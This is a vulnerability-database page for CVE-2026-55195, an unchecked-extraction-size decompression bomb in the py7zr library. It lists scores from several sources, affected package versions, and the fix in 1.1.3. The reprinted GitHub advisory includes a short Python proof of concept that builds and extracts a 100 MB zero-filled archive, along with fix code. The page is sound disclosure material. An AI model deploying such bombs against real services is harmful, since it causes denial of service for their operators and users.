Every CVE Search/ Get API key

CVE-2026-55195

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

8.7 HighFix available

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.32%Unchanged since Jul 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

Record
CVE-2026-55195
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-409
Updated
2026-11-02
EUVDEUVD-2026-42396 8.7

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

Record
EUVD-2026-42396
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-gjrg-mpp7-g774 6.9

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Record
GHSA-gjrg-mpp7-g774
CVSS 4.0
6.9 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-409
Updated
2026-11-02
NVD 8.7

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

Record
CVE-2026-55195
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-409
Updated
2026-11-02
OSV 8.7

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

Record
CVE-2026-55195
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-409
Updated
2026-11-02
OSVDEBIAN-CVE-2026-55195 8.7

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

Record
DEBIAN-CVE-2026-55195
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
Show 5 moreShow less
OSVGHSA-gjrg-mpp7-g774 6.9

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Record
GHSA-gjrg-mpp7-g774
CVSS 4.0
6.9 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-409
Updated
2026-11-02
OSVPYSEC-2026-2972 6.9

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Record
PYSEC-2026-2972
CVSS 4.0
6.9 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-55195 8.7

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

Record
UBUNTU-CVE-2026-55195
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
OSVopenSUSE-SU-2026:11112-1 No score

python311-py7zr-1.1.3-1.1 on GA media

These are all security issues fixed in the python311-py7zr-1.1.3-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11112-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21159-1 No score

Security update for python-py7zr

This update for python-py7zr fixes the following issues:

Changes in python-py7zr:

  • CVE-2026-23879: crafted malicious symbolic link chains in an archive can lead to an arbitrary file write (bsc#1268669)
  • CVE-2026-55195: unchecked extraction size can cause a denial of service (bsc#1268665)
  • CVE-2026-55206: crafted .7z archive with a large numstreams value can cause a denial of service (bsc#1268666)
Record
openSUSE-SU-2026:21159-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
py7zr
PyPI
through 1.1.2
1.1.3
py7zr
Debian:12
All versions, plus listed versions
0.11.3+dfsg-50.11.3+dfsg-60.11.3+dfsg-70.11.3+dfsg-80.21.0+dfsg-1
Show 21 moreShow less
0.21.0+dfsg-20.21.1+dfsg-10.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+11.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-11.1.3+dfsg-21.1.3+dfsg-31.1.3+dfsg-41.1.4+dfsg-1
None known
py7zr
Debian:13
All versions, plus listed versions
0.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+1
Show 14 moreShow less
1.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-11.1.3+dfsg-21.1.3+dfsg-31.1.3+dfsg-41.1.4+dfsg-1
None known
py7zr
Debian:14
before 1.1.3+dfsg-1, plus listed versions
0.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+1
Show 9 moreShow less
1.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-2
1.1.3+dfsg-1
py7zr
PyPI
before 1.1.3, plus listed versions
0.0.30.0.40.0.50.0.60.0.7
Show 45 moreShow less
0.0.80.1.00.1.10.1.20.1.30.1.40.1.50.1.60.10.00.10.0a10.10.0a20.10.0a30.10.0a40.10.0a50.10.0a60.10.0b10.10.0b30.10.10.10.20.11.00.11.0a10.11.0b10.11.0b20.11.0b30.11.10.11.20.11.30.12.00.13.00.13.10.14.00.14.10.15.00.15.10.15.20.16.00.16.10.16.20.16.30.16.40.17.00.17.10.17.20.17.30.17.4
1.1.3
py7zr
Ubuntu:22.04:LTS
All versions, plus listed versions
0.11.3+dfsg-10.11.3+dfsg-1ubuntu10.11.3+dfsg-20.11.3+dfsg-30.11.3+dfsg-40.11.3+dfsg-4ubuntu0.1
None known
py7zr
Ubuntu:24.04:LTS
All versions, plus listed versions
0.11.3+dfsg-60.11.3+dfsg-70.11.3+dfsg-80.11.3+dfsg-8build1
None known
py7zr
Ubuntu:25.10
All versions, plus listed versions
0.22.0+dfsg-11.0.0+dfsg1-1
None known
py7zr
Ubuntu:26.10
All versions, plus listed versions
1.1.2+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-1
None known
py7zr
Ubuntu:26.04:LTS
All versions, plus listed versions
1.0.0+dfsg1-11.0.0+dfsg1-31.0.0+dfsg1-41.0.0+dfsg1-51.1.2+dfsg-1
None known
python-py7zr
openSUSE:Tumbleweed
before 1.1.3-1.1
1.1.3-1.1
python-py7zr
openSUSE:Leap 16.0
before 1.0.0-bp160.2.1
1.0.0-bp160.2.1

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55195 is a high vulnerability (CVSS 8.7) in Miurahr Py7zr, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in py7zr 1.1.3.

References

Show 11 moreShow less
This page doesn't list everything

Left out here: 114 versions. The JSON record has them.

MoveEnter Open